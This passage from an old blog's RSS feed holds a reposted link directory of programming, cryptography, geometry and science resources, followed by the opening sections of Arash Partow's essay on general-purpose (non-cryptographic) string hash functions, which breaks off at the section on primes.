    <li><a href="http://www.sgi.com/tech/stl/" target=_blank><font color=#0000ff><u>SGI Standard Template Library Programmer's Guide </u></font></a>
    <li><a href="http://www.stlport.org/" target=_blank><font color=#0000ff><u>STLPort </u></font></a>
    <li><a href="http://java.sun.com/" target=_blank><font color=#0000ff><u>Java SDK </u></font></a>
    <li><a href="http://www.easysw.com/~mike/serial/serial.html" target=_blank><font color=#0000ff><u>POSIX Serial Interface Guide </u></font></a>
    <li><a href="http://www.programmersheaven.com/" target=_blank><font color=#0000ff><u>Programmers Heaven </u></font></a>
    <li><a href="http://www.graphicsgems.org/" target=_blank><font color=#0000ff><u>Graphics Gems (ACM) </u></font></a>
    <li><a href="http://www-rab.larc.nasa.gov/nmp/" target=_blank><font color=#0000ff><u>Numerical Methods in Pascal </u></font></a>
    <li><a href="http://www.advancedlinuxprogramming.com/" target=_blank><font color=#0000ff><u>Advanced Linux Programming </u></font></a>
    <li><a href="http://www.orocos.org/" target=_blank><font color=#0000ff><u>OROCOS (Open RObot COntrol Software) </u></font></a>
    <li><a href="http://opende.sourceforge.net/" target=_blank><font color=#0000ff><u>Open Dynamics Engine (ODE) </u></font></a>
    <li><a href="http://www.desy.de/user/projects/C++.html" target=_blank><font color=#0000ff><u>The C++ Virtual Library </u></font></a>
    <li><a href="http://www.cs.sunysb.edu/~algorith/index.html" target=_blank><font color=#0000ff><u>The Stony Brook Algorithm Repository </u></font></a>
    <li><a href="http://www.swissdelphicenter.ch/" target=_blank><font color=#0000ff><u>The Swiss Delphi Center </u></font></a>
    <li><a href="http://www.delphisource.com/" target=_blank><font color=#0000ff><u>Delphi Source </u></font></a>
    <li><a href="http://www.mpi-sb.mpg.de/~kettner/courses/lib_design_03/notes/index.html" target=_blank><font color=#0000ff><u>Algorithm Library Design Lecture Notes </u></font></a>
    <li><a href="http://www.delphi-jedi.org/" target=_blank><font color=#0000ff><u>JEDI Project </u></font></a>
    <li><a href="http://www2.toki.or.id/book/AlgDesignManual/" target=_blank><font color=#0000ff><u>The Algorithm Design Manual </u></font></a>
    <li><a href="http://www.thefreecountry.com/" target=_blank><font color=#0000ff><u>The Free Country </u></font></a>
    <li><a href="http://djvulibre.djvuzone.org/index.html" target=_blank><font color=#0000ff><u>DjVuLibre </u></font></a>
    <li><a href="http://www.brpreiss.com/books/opus4/" target=_blank><u><font color=#0000ff>Data Structures And Algorithms With Object-Oriented Design Patterns in C++</font></u></a>
    <li><a href="http://www.laptev.org/doc/pthreads.html" target=_blank><font color=#0000ff><u>POSIX Thread tutorial </u></font></a>
    <li><a href="http://graphics32.org/" target=_blank><font color=#0000ff><u>Graphics32 Library </u></font></a>
    <li><a href="http://delphi.about.com/" target=_blank><font color=#0000ff><u>About.com On Delphi </u></font></a>
    <li><a href="http://www.koders.com/" target=_blank><font color=#0000ff><u>Koders (Open Source Code Search Engine) </u></font></a>
    <li><a href="http://math.nist.gov/tnt/" target=_blank><font color=#0000ff><u>Template Numerical Toolkit (NIST) </u></font></a>
    <li><a href="http://www.oonumerics.org/" target=_blank><font color=#0000ff><u>oonumerics.org (Object Oriented Scientific Computing) </u></font></a>
    <li><a href="http://www.gpgpu.org/" target=_blank><u><font color=#0000ff>General-Purpose Computation Using Graphics Hardware </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Cryptography</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://home.ecn.ab.ca/~jsavard/crypto/jscrypt.htm" target=_blank><font color=#0000ff><u>A Cryptographic Compendium </u></font></a>
    <li><a href="http://www.watermarkingworld.org/" target=_blank><font color=#0000ff><u>Watermarking World </u></font></a>
    <li><a href="http://theory.lcs.mit.edu/~rivest/crypto-security.html" target=_blank><font color=#0000ff><u>Rivest's Crypto Links </u></font></a>
    <li><a href="http://www.pgpi.org/" target=_blank><font color=#0000ff><u>PGP International </u></font></a>
    <li><a href="http://www.counterpane.com/crypto-gram.html" target=_blank><font color=#0000ff><u>Bruce Schneier's Cryptogram </u></font></a>
    <li><a href="http://www.rsasecurity.com/rsalabs/" target=_blank><font color=#0000ff><u>RSA Laboratories </u></font></a>
    <li><a href="http://www.cacr.math.uwaterloo.ca/hac/" target=_blank><font color=#0000ff><u>The Handbook of Applied Cryptography </u></font></a>
    <li><a href="http://www.cryptix.org/" target=_blank><font color=#0000ff><u>Cryptix </u></font></a>
    <li><a href="http://www.eskimo.com/~weidai/cryptlib.html" target=_blank><font color=#0000ff><u>Crypto++ </u></font></a>
    <li><a href="http://www.cryptography.com/" target=_blank><font color=#0000ff><u>Cryptography Research Inc. </u></font></a>
    <li><a href="http://eprint.iacr.org/" target=_blank><font color=#0000ff><u>Cryptology ePrint Archive </u></font></a>
    <li><a href="http://www.cryptographyworld.com/" target=_blank><font color=#0000ff><u>Cryptography World </u></font></a>
    <li><a href="http://www.ssh.fi/support/cryptography/index.html" target=_blank><font color=#0000ff><u>Cryptography A-Z </u></font></a>
    <li><a href="http://mad.home.cern.ch/frode/crypto/" target=_blank><font color=#0000ff><u>Cryptology </u></font></a>
    <li><a href="http://www.fourmilab.ch/hotbits/" target=_blank><font color=#0000ff><u>HotBits - Strong Random Numbers </u></font></a>
    <li><a href="http://www.tracking-hackers.com/solutions/" target=_blank><font color=#0000ff><u>Honeypots Solutions </u></font></a>
    <li><a href="http://www.honeynet.org/" target=_blank><font color=#0000ff><u>The Honeynet Project </u></font></a>
    <li><a href="http://www.cs.uct.ac.za/courses/CS400W/NIS/papers99/blowe/index.html" target=_blank><font color=#0000ff><u>Attacking the RSA Cryptographic System </u></font></a>
    <li><a href="http://www.cs.uct.ac.za/courses/CS400W/NIS/papers98/rsouther/ecc.html" target=_blank><font color=#0000ff><u>Elliptic Curve Cryptosystems </u></font></a>
    <li><a href="http://cristal.inria.fr/~harley/ecdl7/FAQ.html" target=_blank><font color=#0000ff><u>ECDL FAQ - version 0.2 </u></font></a>
    <li><a href="http://www.cs.auckland.ac.nz/~pgut001/" target=_blank><font color=#0000ff><u>Peter Gutmann </u></font></a>
    <li><a href="http://www.math.ttu.edu/~cmonico/software/ggnfs/index.html" target=_blank><font color=#0000ff><u>GGNFS - A Number Field Sieve implementation </u></font></a>
    <li><a href="http://www.faqs.org/faqs/cryptography-faq/" target=_blank><font color=#0000ff><u>Cryptography FAQ </u></font></a>
    <li><a href="http://www.unixwiz.net/techtips/iguide-crypto-hashes.html" target=_blank><font color=#0000ff><u>An Illustrated Guide to Cryptographic Hashes </u></font></a>
    <li><a href="http://www.ieee-security.org/" target=_blank><font color=#0000ff><u>IEEE Security </u></font></a>
    <li><a href="http://www.sheehy.ca/crypto/" target=_blank><font color=#0000ff><u>The Cryptography Center </u></font></a>
    <li><a href="http://csrc.nist.gov/publications/fips/index.html" target=_blank><font color=#0000ff><u>NIST FIPS </u></font></a>
    <li><a href="http://www.secg.org/" target=_blank><font color=#0000ff><u>Standards for Efficient cryptography Group (SECG) </u></font></a>
    <li><a href="http://grouper.ieee.org/groups/1363/" target=_blank><u><font color=#0000ff>IEEE 1363 </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Computational Geometry</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://www.ics.uci.edu/~eppstein/geom.html" target=_blank><font color=#0000ff><u>Geometry In Action </u></font></a>
    <li><a href="http://compgeom.cs.uiuc.edu/~jeffe/compgeom/" target=_blank><font color=#0000ff><u>Jeff Erickson's Computational Geometry Pages </u></font></a>
    <li><a href="http://www-2.cs.cmu.edu/~quake/robust.html" target=_blank><font color=#0000ff><u>Fast Robust Predicates for Computational Geometry </u></font></a>
    <li><a href="http://faculty.evansville.edu/ck6/encyclopedia/" target=_blank><font color=#0000ff><u>Encyclopedia Triangle Centers </u></font></a>
    <li><a href="http://faculty.evansville.edu/ck6/encyclopedia/sketches.html" target=_blank><font color=#0000ff><u>Encyclopedia Triangle Centers (Sketches) </u></font></a>
    <li><a href="http://cgm.cs.mcgill.ca/~godfried/teaching/cg-web.html" target=_blank><font color=#0000ff><u>Computational Geometry On The Web </u></font></a>
    <li><a href="http://www.cgal.org/" target=_blank><font color=#0000ff><u>CGAL </u></font></a>
    <li><a href="http://www.gang.umass.edu/" target=_blank><font color=#0000ff><u>Geometry Analysis Numerics Graphics (GANG) </u></font></a>
    <li><a href="http://www.cs.nyu.edu/exact/" target=_blank><font color=#0000ff><u>Exact Geometric Computation Page </u></font></a>
    <li><a href="http://www.geom.uiuc.edu/" target=_blank><font color=#0000ff><u>The Geometry Center </u></font></a>
    <li><a href="http://www.andrew.cmu.edu/user/sowen/mesh.html" target=_blank><font color=#0000ff><u>Meshing Research Corner </u></font></a>
    <li><a href="http://www.cs.duke.edu/~sariel/CG/handbook.html" target=_blank><font color=#0000ff><u>Virtual Handbook of Computational Geometry </u></font></a>
    <li><a href="http://www.cs.jhu.edu/~goodrich/teach/geom/" target=_blank><font color=#0000ff><u>Mike Goodrich's Geometric Algorithms </u></font></a>
    <li><a href="http://www.geometrictools.com/" target=_blank><u><font color=#0000ff>David Eberly's Geometric Tools (aka Magic Software) </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Science</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://www.mathworld.com/" target=_blank><font color=#0000ff><u>Math World </u></font></a>
    <li><a href="http://scienceworld.wolfram.com/physics" target=_blank><font color=#0000ff><u>World Of Physics </u></font></a>
    <li><a href="http://scienceworld.wolfram.com/astronomy" target=_blank><font color=#0000ff><u>World Of Astronomy </u></font></a>
    <li><a href="http://www.astronautix.com/" target=_blank><font color=#0000ff><u>Encyclopedia Astronautica </u></font></a>
    <li><a href="http://www.quantum.univie.ac.at/" target=_blank><font color=#0000ff><u>Quantum Experiments and the Foundations of Physics </u></font></a>
    <li><a href="http://www.howstuffworks.com/" target=_blank><font color=#0000ff><u>How Stuff Works </u></font></a>
    <li><a href="http://www.pbs.org/wgbh/nova/time/" target=_blank><font color=#0000ff><u>Nova Online - Time Travel </u></font></a>
    <li><a href="http://numbers.computation.free.fr/Constants/constants.html" target=_blank><font color=#0000ff><u>Mathematical Constants and Computation </u></font></a>
    <li><a href="http://www.jpl.nasa.gov/" target=_blank><font color=#0000ff><u>NASA Jet Propulsion Laboratory </u></font></a>
    <li><a href="http://astronomy.swin.edu.au/~pbourke/" target=_blank><font color=#0000ff><u>Paul Bourke's Website </u></font></a>
    <li><a href="http://www.gametheory.net/" target=_blank><font color=#0000ff><u>Game Theory </u></font></a>
    <li><a href="http://www.ltn.lv/~podnieks/mlog/ml.htm" target=_blank><font color=#0000ff><u>Introduction to Mathematical Logic </u></font></a>
    <li><a href="http://planetmath.org/" target=_blank><font color=#0000ff><u>Planet Math </u></font></a>
    <li><a href="http://physicsweb.org/" target=_blank><font color=#0000ff><u>PhysicsWeb </u></font></a>
    <li><a href="http://www.ocf.berkeley.edu/~wwu/riddles/intro.shtml" target=_blank><font color=#0000ff><u>Riddles </u></font></a>
    <li><a href="http://www.research.att.com/~njas/sequences/" target=_blank><font color=#0000ff><u>The On-Line Encyclopedia of Integer Sequences </u></font></a>
    <li><a href="http://www.worldofnumbers.com/index.html" target=_blank><font color=#0000ff><u>World Of Numbers </u></font></a>
    <li><a href="http://primes.utm.edu/nthprime/" target=_blank><font color=#0000ff><u>Nth Prime Page </u></font></a>
    <li><a href="http://algo.inria.fr/encyclopedia/" target=_blank><font color=#0000ff><u>Encyclopedia of Combinatorial Structures </u></font></a>
    <li><a href="http://www.theory.csc.uvic.ca/~cos/" target=_blank><font color=#0000ff><u>The Combinatorial Object Server </u></font></a>
    <li><a href="http://www.numbertheory.org/" target=_blank><font color=#0000ff><u>Number Theory Web </u></font></a>
    <li><a href="http://www.informatik.tu-darmstadt.de/TI/LiDIA/" target=_blank><font color=#0000ff><u>LiDIA </u></font></a>
    <li><a href="http://www.popsci.com/" target=_blank><font color=#0000ff><u>Popular Science </u></font></a>
    <li><a href="http://www.mathpages.com/" target=_blank><font color=#0000ff><u>Math Pages </u></font></a>
    <li><a href="http://www.wavelet.org/" target=_blank><font color=#0000ff><u>Wavelet.org </u></font></a>
    <li><a href="http://www.plos.org/" target=_blank><font color=#0000ff><u>The Public Library of Science </u></font></a>
    <li><a href="http://primes.utm.edu/largest.html" target=_blank><font color=#0000ff><u>The Largest Known Primes </u></font></a>
    <li><a href="http://badastronomy.com/" target=_blank><font color=#0000ff><u>Bad Astronomy </u></font></a>
    <li><a href="http://nanodot.org/" target=_blank><font color=#0000ff><u>Nano-Dot </u></font></a>
    <li><a href="http://arxiv.org/" target=_blank><font color=#0000ff><u>arXiv.org e-Print archive </u></font></a>
    <li><a href="http://cogprints.ecs.soton.ac.uk/" target=_blank><font color=#0000ff><u>Cogprints </u></font></a>
    <li><a href="http://www.ams.org/online_bks/" target=_blank><font color=#0000ff><u>AMS Books Online </u></font></a>
    <li><a href="http://www.engadget.com/" target=_blank><font color=#0000ff><u>Engadget </u></font></a>
    <li><a href="http://quakesim.jpl.nasa.gov/" target=_blank><font color=#0000ff><u>QuakeSim </u></font></a>
    <li><a href="http://www.math.hmc.edu/funfacts/" target=_blank><font color=#0000ff><u>Mudd Math Fun Facts </u></font></a>
    <li><a href="http://www.instructables.com/" target=_blank><font color=#0000ff><u>Instructables </u></font></a>
    <li><a href="http://www.hackaday.com/" target=_blank><u><font color=#0000ff>Hack A Day </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Computer Science</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://citeseer.nj.nec.com/cs" target=_blank><font color=#0000ff><u>Citeseer </u></font></a>
    <li><a href="http://www.acm.org/" target=_blank><font color=#0000ff><u>Association For Computing Machinery (ACM) </u></font></a>
    <li><a href="http://www.computer.org/" target=_blank><font color=#0000ff><u>IEEE Computer Society </u></font></a>
    <li><a href="http://theory.lcs.mit.edu/" target=_blank><font color=#0000ff><u>Theory of Computation Group </u></font></a>
    <li><a href="http://www.jfsowa.com/krbook/" target=_blank><font color=#0000ff><u>Knowledge Representation </u></font></a>
    <li><a href="http://www.kurzweilai.net/" target=_blank><font color=#0000ff><u>Ray Kurzweil - KurzweilAI.Net </u></font></a>
    <li><a href="http://www.robocup.org/" target=_blank><font color=#0000ff><u>RoboCup </u></font></a>
    <li><a href="http://jelly.cs.kobe-u.ac.jp/robocup-rescue/index.html" target=_blank><font color=#0000ff><u>RoboCupRescue </u></font></a>
    <li><a href="http://compilers.iecc.com/crenshaw/" target=_blank><font color=#0000ff><u>Let's Build a Compiler by Jack Crenshaw </u></font></a>
    <li><a href="http://www.math.princeton.edu/tsp/" target=_blank><font color=#0000ff><u>Traveling Salesman Problem (Princeton) </u></font></a>
    <li><a href="http://www.cl.cam.ac.uk/users/jgd1000/" target=_blank><font color=#0000ff><u>Dr John Daugman </u></font></a>
    <li><a href="http://www.iris-recognition.org/" target=_blank><font color=#0000ff><u>The Iris Recognition Homepage </u></font></a>
    <li><a href="http://www.qc.fraunhofer.de/" target=_blank><font color=#0000ff><u>Fraunhofer Quantum Computing Simulator </u></font></a>
    <li><a href="http://www.cs.toronto.edu/~mackay/itila/book.html" target=_blank><u><font color=#0000ff>David MacKay - Information Theory, Inference, and Learning Algorithms (Online e-book) </font></u></a>
    <li><a href="http://cgm.cs.mcgill.ca/~luc/rnbookindex.html" target=_blank><u><font color=#0000ff>Luc Devroye - Non-Uniform Random Variate Generation (Online e-book) </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Open Source</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://www.openbsd.org/" target=_blank><font color=#0000ff><u>OpenBSD </u></font></a>
    <li><a href="http://www.freebsd.org/" target=_blank><font color=#0000ff><u>FreeBSD </u></font></a>
    <li><a href="http://www.netbsd.org/" target=_blank><font color=#0000ff><u>NetBSD </u></font></a>
    <li><a href="http://www.unix-systems.org/" target=_blank><font color=#0000ff><u>The UNIX&#174; System </u></font></a>
    <li><a href="http://www.isc.org/" target=_blank><font color=#0000ff><u>Internet Software Consortium (ISC) </u></font></a>
    <li><a href="http://www.cygwin.com/" target=_blank><font color=#0000ff><u>Cygwin </u></font></a>
    <li><a href="http://gcc.gnu.org/" target=_blank><font color=#0000ff><u>GCC </u></font></a>
    <li><a href="http://www.freepascal.org/" target=_blank><font color=#0000ff><u>Free Pascal </u></font></a>
    <li><a href="http://www.gnu-pascal.de/" target=_blank><font color=#0000ff><u>GNU Pascal </u></font></a>
    <li><a href="http://www.codeblocks.org/" target=_blank><font color=#0000ff><u>Code::Blocks - Cross Platform C++ IDE </u></font></a>
    <li><a href="http://anjuta.sourceforge.net/" target=_blank><font color=#0000ff><u>Anjuta DevStudio </u></font></a>
    <li><a href="http://www.mandrake.org/" target=_blank><font color=#0000ff><u>Manrake </u></font></a>
    <li><a href="http://www.debian.org/" target=_blank><font color=#0000ff><u>Debian </u></font></a>
    <li><a href="http://www.opensource.org/" target=_blank><font color=#0000ff><u>OpenSource.org </u></font></a>
    <li><a href="http://www.linuxiran.org/" target=_blank><font color=#0000ff><u>Linux Iran </u></font></a>
    <li><a href="http://www.farsikde.org/" target=_blank><font color=#0000ff><u>FarsiKDE </u></font></a>
    <li><a href="http://www.slashdot.org/" target=_blank><font color=#0000ff><u>Slashdot </u></font></a>
    <li><a href="http://www.wikipedia.org/" target=_blank><font color=#0000ff><u>Wikipedia </u></font></a>
    <li><a href="http://www.doaj.org/" target=_blank><font color=#0000ff><u>Directory of Open Access Journals </u></font></a>
    <li><a href="http://plos.org/" target=_blank><font color=#0000ff><u>The Public Library of Science </u></font></a>
    <li><a href="http://minixfromscratch.org/" target=_blank><font color=#0000ff><u>Minix From Scratch </u></font></a>
    <li><a href="http://www.tldp.org/" target=_blank><font color=#0000ff><u>The Linux Documentation Project </u></font></a>
    <li><a href="http://www.cpan.org/" target=_blank><font color=#0000ff><u>CPAN </u></font></a>
    <li><a href="http://www.perl.org/" target=_blank><font color=#0000ff><u>The Perl Directory </u></font></a>
    <li><a href="http://www.gstreamer.net/" target=_blank><font color=#0000ff><u>GStreamer </u></font></a>
    <li><a href="http://www.freedesktop.org/" target=_blank><font color=#0000ff><u>FreeDesktop.org </u></font></a>
    <li><a href="http://inkscape.sourceforge.net/" target=_blank><font color=#0000ff><u>Inkscape </u></font></a>
    <li><a href="http://www.openclipart.org/" target=_blank><font color=#0000ff><u>Open Clipart </u></font></a>
    <li><a href="http://www.animationfactory.com/" target=_blank><u><font color=#0000ff>Animation Factory </font></u></a>
    <li><a href="" target=_blank><u><font color=#0000ff></font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Technology</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://www.tomshardware.com/" target=_blank><font color=#0000ff><u>Tom's Hardware Guide </u></font></a>
    <li><a href="http://www.arstechnica.com/" target=_blank><font color=#0000ff><u>arsTechnica </u></font></a>
    <li><a href="http://www.overclockers.com/" target=_blank><u><font color=#0000ff>Overclockers.com </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Distributed Computing Projects</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://setiathome.berkeley.edu/" target=_blank><font color=#0000ff><u>Search for Extraterrestrial Intelligence (SETI) </u></font></a>
    <li><a href="http://folding.stanford.edu/" target=_blank><font color=#0000ff><u>Folding@Home (Protien Folding Project) </u></font></a>
    <li><a href="http://www.distributed.net/" target=_blank><font color=#0000ff><u>Distributed.Net </u></font></a>
    <li><a href="http://www.stanford.edu/group/pandegroup/genome/" target=_blank><font color=#0000ff><u>Genome@Home </u></font></a>
    <li><a href="http://www.chessbrain.net/" target=_blank><font color=#0000ff><u>ChessBrain </u></font></a>
    <li><a href="http://www.mersenne.org/" target=_blank><font color=#0000ff><u>GIMPS (Greatest Internet Mersenne Prime Search) </u></font></a>
    <li><a href="http://gridengine.sunsource.net/" target=_blank><font color=#0000ff><u>The Grid Engine </u></font></a>
    <li><a href="http://www.globus.org/" target=_blank><font color=#0000ff><u>The Globus Alliance </u></font></a>
    <li><a href="http://www.md5crk.com/" target=_blank><font color=#0000ff><u>MD5CRK </u></font></a>
    <li><a href="http://www.ecompute.org/ecc2/" target=_blank><font color=#0000ff><u>eCompute ECC2-109 Project </u></font></a>
    <li><a href="http://www.nfsnet.org/" target=_blank><font color=#0000ff><u>NFSNET (Number Field Sieve Net) </u></font></a>
    <li><a href="http://www.climateprediction.net/" target=_blank><font color=#0000ff><u>Climate Prediction Project </u></font></a>
    <li><a href="http://www.zetagrid.net/" target=_blank><u><font color=#0000ff>Zeta Grid </font></u></a></li>
</ul>
<p><br></p>
<h3 align=left>Miscellaneous Resources</h3>
<ul style="TEXT-ALIGN: left">
    <li><a href="http://www.dns.net/dnsrd/" target=_blank><font color=#0000ff><u>DNS Resources Directory </u></font></a>
    <li><a href="http://www.perldoc.com/" target=_blank><font color=#0000ff><u>Perl Doc </u></font></a>
    <li><a href="http://www.tracert.com/cgi-bin/trace.pl" target=_blank><font color=#0000ff><u>Online Trace Route </u></font></a>
    <li><a href="http://www.tracert.com/cgi-bin/ping.pl" target=_blank><font color=#0000ff><u>Online Ping </u></font></a>
    <li><a href="http://www.searchenginewatch.com/" target=_blank><font color=#0000ff><u>Search Engine Watch </u></font></a>
    <li><a href="http://www.newseum.org/" target=_blank><font color=#0000ff><u>Newseum </u></font></a>
    <li><a href="http://www.unicode.org/" target=_blank><font color=#0000ff><u>Unicode </u></font></a>
    <li><a href="http://proxify.us/" target=_blank><font color=#0000ff><u>Proxify </u></font></a>
    <li><a href="http://grsites.com/webtools/rank.shtml" target=_blank><u><font color=#0000ff>Search Engine Scan (URL Rank) </font></u></a>
    <li><a href="http://www.scirus.com/" target=_blank><u><font color=#0000ff>Scientific Paper Search Engine</font></u></a> </li>
</ul>
<p><br><br><img alt="persian welcome - Copyright Arash Partow" src="http://www.partow.net/images/smiley.png" border=0></p>
<img src ="http://www.cnitblog.com/houcy/aggbug/48976.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2008-09-10 20:16 <a href="http://www.cnitblog.com/houcy/archive/2008/09/10/48976.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>General Purpose Hash Function Algorithms[转]</title><link>http://www.cnitblog.com/houcy/archive/2008/09/10/48974.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Wed, 10 Sep 2008 12:11:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2008/09/10/48974.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/48974.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2008/09/10/48974.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/48974.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/48974.html</trackback:ping><description><![CDATA[<div class=log>
<div class=entry>
<ul>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#Description"><strong><u><font color=#606420>Description</font></u></strong></a>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#HashingMethodologies"><strong><u><font color=#606420>Hashing Methodologies</font></u></strong></a>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#HashAndPrimes"><strong><u><font color=#606420>Hash Functions and Prime Numbers</font></u></strong></a>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#BitBiases"><strong><u><font color=#606420>Bit Biases</font></u></strong></a>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#VariousFormsOfHashing"><strong><u><font color=#606420>Various Forms Of Hashing</font></u></strong></a>
    <ul>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#StringHashing"><strong><u><font color=#606420>String Hashing</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#CryptographicHashing"><strong><u><font color=#606420>Cryptographic Hashing</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#GeometricHashing"><strong><u><font color=#606420>Geometric Hashing</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#BloomFilters"><strong><u><font color=#606420>Bloom Filters</font></u></strong></a> </li>
    </ul>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#AvailableHashFunctions"><strong><u><font color=#606420>Available Hash Functions</font></u></strong></a>
    <ul>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#RSHashFunction"><strong><u><font color=#606420>RS Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#JSHashFunction"><strong><u><font color=#606420>JS Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#PJWHashFunction"><strong><u><font color=#606420>PJW Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#ELFHashFunction"><strong><u><font color=#606420>ELF Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#BKDRHashFunction"><strong><u><font color=#606420>BKDR Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#SDBMHashFunction"><strong><u><font color=#606420>SDBM Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#DJBHashFunction"><strong><u><font color=#606420>DJB Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#DEKHashFunction"><strong><u><font color=#606420>DEK Hash Function</font></u></strong></a>
        <li><a href="http://www.partow.net/programming/hashfunctions/index.html#APHashFunction"><strong><u><font color=#606420>AP Hash Function</font></u></strong></a> </li>
    </ul>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#GeneralHashFunctionLicense"><strong><u><font color=#606420>General Hash Function License</font></u></strong></a>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#Compatability"><strong><u><font color=#606420>Compatability</font></u></strong></a>
    <li><a href="http://www.partow.net/programming/hashfunctions/index.html#Download"><strong><u><font color=#606420>Download</font></u></strong></a> </li>
</ul>
</div>
</div>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=Description><u><font color=#606420>Description</font></u></a></h3>
<p align=left>Hash functions are by definition and implementation pseudo random number generators (PRNG). From this generalization its generally accepted that the performance of hash functions and also comparisons between hash functions can be achieved by treating hash function as PRNGs. </p>
<p align=left>Analysis techniques such a Poisson distribution can be used to analyze the collision rates of different hash functions for different groups of data. In general there is a theoretical hash function known as the perfect hash function for any group of data. The perfect hash function by definition states that no collisions will occur meaning no repeating hash values will arise from different elements of the group. In reality its very difficult to find a perfect hash function and the practical applications of perfect hashing and its variant minimal perfect hashing are quite limited. In practice it is generally recognized that a perfect hash function is the hash function that produces the least amount of collisions for a particular set of data. </p>
<p align=left>The problem is that there are so many permutations of types of data, some highly random, others containing high degrees of patterning that its difficult to generalize a hash function for all data types or even for specific data types. All one can do is via trial and error find the hash function that best suites their needs. Some dimensions to analyze for choosing hash functions are: </p>
<ul style="TEXT-ALIGN: left">
    <li>
    <h4 align=left><strong>Data Distribution</strong></h4>
    <p>This is the measure of how well the hash function distributes the hash values of elements within a set of data. Analysis in this measure requires knowing the number of collisions that occur with the data set meaning non-unique hash values, If chaining is used for collision resolution the average length of the chains (which would in theory be the average of each bucket's collision count) analyzed, also the amount of grouping of the hash values within ranges should be analyzed. </p>
    <li>
    <h4 align=left><strong>Hash Function Efficiency</strong></h4>
    <p>This is the measure of how efficiently the hash function produces hash values for elements within a set of data. When algorithms which contain hash functions are analyzed it is generally assumed that hash functions have a complexity of O(1), that is why look-ups for data in a hash-table are said to be on <em>average of O(1) complexity</em>, where as look-ups of data in maps (Red-Black Trees) are said to be of O(logn) complexity. </p>
    <p>A hash function should in theory be a very quick, stable and deterministic operation. A hash function may not always lend itself to being of O(1) complexity, however in general the linear traversal through a string of data to be hashed is so quick and the fact that hash functions are generally used on primary keys which by definition are supposed to be much smaller associative identifiers of larger blocks of data implies that the whole operation should be quick and to a certain degree stable. </p>
    </li>
</ul>
<p align=left>The hash functions in this essay are known as simple hash functions. They are typically used for data hashing (string hashing). They are used to create keys which are used in associative containers such as hash-tables. These hash functions are not cryptographically safe, they can easily be reversed and many different combinations of data can be easily found to produce identical hash values for any combination of data. </p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=HashingMethodologies><u><font color=#606420>Hashing Methodologies</font></u></a></h3>
<p align=left>Hash functions are typically defined by the way they create hash values from data. There are two main methodologies for a hash algorithm to implement, they are: </p>
<ul style="TEXT-ALIGN: left">
    <li>
    <h4 align=left><strong>Addative and Multiplicative Hashing</strong></h4>
    <p>This is where the hash value is constructed by traversing through the data and continually incrementing an initial value by a calculated value relative to an element within the data. The calculation done on the element value is usually in the form of a multiplication by a prime number. </p>
    <p align=center><img alt="Additive Hash Function Definition - Copyright Arash Partow" src="http://www.partow.net/images/hashfunction-img1.png" border=0> </p>
    <li>
    <h4 align=left><strong>Rotative Hashing</strong></h4>
    <p>Same as additive hashing in that every element in the data string is used to construct the hash, but unlike additive hashing the values are put through a process of bitwise shifting. Usually a combination of both left and right shifts, the shift amounts as before are prime. The result of each process is added to some form of accumulating count, the final result being the hash value is passed back as the final accumulation. </p>
    <p align=center><img alt="Rotative Hash Function Definition - Copyright Arash Partow" src="http://www.partow.net/images/hashfunction-img2.png" border=0> </p>
    </li>
</ul>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=HashAndPrimes><u><font color=#606420>Hash Functions and Prime Numbers</font></u></a></h3>
